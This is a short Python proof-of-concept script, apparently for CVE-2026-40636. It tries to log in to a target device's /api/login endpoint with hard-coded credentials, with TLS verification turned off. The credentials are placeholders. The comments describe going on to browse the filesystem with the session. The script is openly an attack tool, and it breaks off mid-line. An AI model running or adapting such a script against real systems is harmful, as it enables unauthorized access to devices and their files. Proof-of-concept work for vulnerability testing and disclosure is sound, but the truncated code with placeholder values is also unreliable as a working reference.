CVE-2026-40636

#!/usr/bin/env python3 """ PoC for CVE-2026-40636 (Hard-coded Credentials) This script demonstrates how an unauthenticated attacker might exploit hard-coded credentials to access the filesystem.

""" import requests import sys def exploit(target_ip): # The hard-coded credential found in the vulnerable version # Example: hardcoded_username / hardcoded_password username = "admin" # Placeholder based on typical defaults password = "HARDCODED_PASSWORD_PLACEHOLDER" # Target endpoint for management or file access url = f"https://{target_ip}/api/login" try: print(f"[*] Attempting to connect to {target_ip} using hard-coded credentials...") # Send authentication request using the hard-coded credentials response = requests.post(url, auth=(username, password), verify=False, timeout=10) if response.status_code == 200: print("[+] Authentication successful! Hard-coded credentials are valid.") print("[+] Access to filesystem potentially granted.") # In a real scenario, the attacker would now use the session token/cookie # to access file system endpoints (e.g., /api/filesystem/browse) else: print("[-] Authentication failed.
